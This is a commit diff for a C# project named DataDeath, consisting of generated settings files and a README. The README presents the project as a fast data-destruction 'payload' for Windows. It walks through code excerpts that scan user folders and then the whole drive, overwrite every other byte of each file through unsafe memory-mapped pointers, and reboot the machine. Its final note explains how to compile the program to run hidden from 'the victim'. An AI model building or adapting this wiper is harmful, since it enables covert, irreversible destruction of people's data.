<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

View File

@ -0,0 +1,26 @@
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
// Runtime Version:4.0.30319.42000
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace DataDeath.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "18.7.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default {
get {
return defaultInstance;
}
}
}
}

View File

@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>

124
README.md
View File

@ -1,3 +1,125 @@
# DataDeath # DataDeath
A blazing fast data destruction payload. **DataDeath** is a highly optimized, multi-threaded C# utility designed for the rapid and unrecoverable destruction of file data on a Windows system.
Unlike traditional secure wipe tools that perform multiple passes over entire files, DataDeath is engineered for absolute maximum throughput. It achieves this by utilizing a Producer-Consumer pipeline, Memory-Mapped Files, raw `unsafe` memory pointers, and an alternating-byte overwrite pattern to destroy data at the maximum sequential write speed of the host storage drive.
⚠️ **WARNING: THIS TOOL IS HIGHLY DESTRUCTIVE.**
Running this application will permanently and irreversibly corrupt files on the host system. It is designed to reboot the system immediately upon completion. Do not run this on a machine containing data you wish to keep.
---
## Key Features
* **Producer-Consumer Architecture**: File scanning and file destruction occur concurrently. The destruction threads do not wait for the scan to finish; they begin mangling files the millisecond they are discovered.
* **Alternating Byte Destruction**: To halve the required I/O operations, the tool overwrites every other byte of a file with random data. This completely corrupts the file structure and contents while doubling the processing speed.
* **Zero-Copy Memory Mapping**: Files are not read into application memory buffers. Instead, they are mapped directly to virtual memory using `MemoryMappedFile`, and modified using raw `unsafe` pointers.
* **Pre-emptive Write-Access Checking**: The scanner verifies write permissions and file locks before queuing a file, ensuring the heavy destruction threads never waste CPU cycles on files they cannot modify.
* **Thread-Safe Dual-Pane UI**: The console provides real-time, flicker-free updates for both the scanning phase and the destruction phase simultaneously.
---
## Technical Deep Dive
### 1. The Producer-Consumer Pipeline (`Program.cs`)
The core orchestration relies on a `BlockingCollection<string>` with a bounded capacity. This acts as the bridge between the file discovery thread (Producer) and the destruction threads (Consumers).
```csharp
// Bounded collection prevents memory issues if scanning is much faster than destruction
using (BlockingCollection<string> fileQueue = new BlockingCollection<string>(50000))
{
// Start the scanning process on a background thread (Producer)
Task scanTask = Task.Run(() =>
{
manager.DiscoverFiles(fileQueue);
fileQueue.CompleteAdding();
});
// Start the destruction process concurrently (Consumer)
Task<DestructionResult> destroyTask = FileDestruction.MangleFilesAsync(fileQueue, manager);
await Task.WhenAll(scanTask, destroyTask);
}
```
### 2. Intelligent File Discovery (`BackupManager.cs`)
The `BackupManager` is responsible for traversing the file system. It prioritizes high-value user directories (Documents, Desktop, Pictures, etc.) before falling back to a general scan of the root drive.
To optimize the pipeline, it performs a **Write-Access Pre-check**. Before a file is added to the queue, the manager attempts to open a `FileStream` with `FileAccess.Write`. If the file is locked by the OS or lacks permissions, it is silently ignored.
```csharp
private bool HasWriteAccess(string filePath, FileInfo fi)
{
// ... attribute handling omitted for brevity ...
try
{
// Attempt to open the file for writing to verify permissions and lock status
using (var fs = new FileStream(filePath, FileMode.Open, FileAccess.Write, FileShare.ReadWrite))
{
return true;
}
}
catch
{
return false; // File is locked or inaccessible
}
}
```
### 3. High-Speed File Destruction (`FileDestruction.cs`)
This is the most heavily optimized portion of the application. To avoid the massive CPU overhead of standard `FileStream.Seek` and `FileStream.Write` operations, the tool uses **Memory-Mapped Files**.
A single 1MB buffer of random bytes is generated at startup. The destruction threads map the target file into virtual memory in 100MB chunks (to prevent `OutOfMemoryException` on massive files). It then acquires a raw `unsafe` byte pointer to the memory map and writes the random data directly to the virtual memory addresses, skipping every other byte.
```csharp
using (var accessor = mmf.CreateViewAccessor(offset, currentChunkSize, MemoryMappedFileAccess.Write))
{
unsafe
{
byte* ptr = null;
try
{
// Acquire the raw memory pointer to bypass the massive CPU overhead of accessor.Write()
accessor.SafeMemoryMappedViewHandle.AcquirePointer(ref ptr);
byte* dataPtr = ptr + accessor.PointerOffset;
for (long i = 0; i < currentChunkSize; i += 2)
{
cancellationToken.ThrowIfCancellationRequested();
// Write a single byte directly to virtual memory, skipping the next
dataPtr[i] = _sharedRandomBuffer[bufferIndex];
bufferIndex += 2;
if (bufferIndex >= BufferSize) bufferIndex = 0;
}
}
finally
{
if (ptr != null) accessor.SafeMemoryMappedViewHandle.ReleasePointer();
}
}
}
```
*Note: Progress reporting inside this tight loop is optimized using bitwise operations (`(i & 0xFFFF) == 0`) to only check the `Stopwatch` every 65,536 bytes, completely eliminating CPU bottlenecks.*
### 4. Thread-Safe Console UI
Because both the scanner and multiple destruction threads are reporting progress concurrently, standard `Console.WriteLine` would result in a garbled mess. The application uses a static `_consoleLock` and `Console.SetCursorPosition` to divide the terminal into two distinct, non-overlapping sections that update in real-time.
---
## Build Requirements
* **Framework**: .NET Framework 4.6.1 (or compatible).
* Building this aginst .NET Framework 4.6.1 ensures this can be ran with on Windows builds as early as Windows 10 Version 1511 (Build 10586).
* **Unsafe Code**: Because `FileDestruction.cs` utilizes raw memory pointers for maximum performance, you must enable unsafe code compilation.
* In Visual Studio: `Project Properties -> Build -> Allow unsafe code`.
* In `.csproj`: Add `<AllowUnsafeBlocks>true</AllowUnsafeBlocks>` to your `PropertyGroup`.
## Usage
Compile the application in `Release` mode for maximum performance. Upon execution, the program will immediately begin scanning and destroying files.
*Debug Note: When compiled in `DEBUG` mode, the `AvoidSystemFolders` flag is set to `true`, which prevents the destruction of critical Windows OS files (Windows, Program Files, AppData) to allow for safer testing.*
*Payload note: If building this to be used as a legit payload, be sure to set the Output Type in visual studio to Windows Application, and comment out all the progress reporting code in the Program.Main method. This will result in no window being shown and the code will execute completely hidden from the victim.*